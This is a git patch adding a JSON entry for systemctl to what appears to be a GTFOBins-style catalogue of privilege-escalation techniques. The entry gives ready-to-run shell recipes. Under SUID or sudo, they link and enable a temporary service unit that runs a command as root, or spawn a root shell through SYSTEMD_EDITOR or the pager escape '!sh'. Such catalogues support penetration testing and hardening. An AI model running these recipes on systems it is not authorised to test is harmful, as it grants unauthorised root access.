From 7671d0d541715d3b5ea579ce8b0fcf565d915ac9 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:13:20 +0100 Subject: [PATCH] add data for systemctl --- data/systemctl.json | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 data/systemctl.json diff --git a/data/systemctl.json b/data/systemctl.json new file mode 100644 index 0000000..3108f79 --- /dev/null +++ b/data/systemctl.json @@ -0,0 +1,21 @@ +{ + "functions": { + "suid": [ + { + "code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"[command] > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp)\necho /bin/sh >$TF\nchmod +x $TF\nsudo SYSTEMD_EDITOR=$TF systemctl edit system.slice\n" + }, + { + "code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"[command] > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\nsudo systemctl link $TF\nsudo systemctl enable --now $TF\n" + }, + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "sudo systemctl\n!sh\n" + } + ] + } +} \ No newline at end of file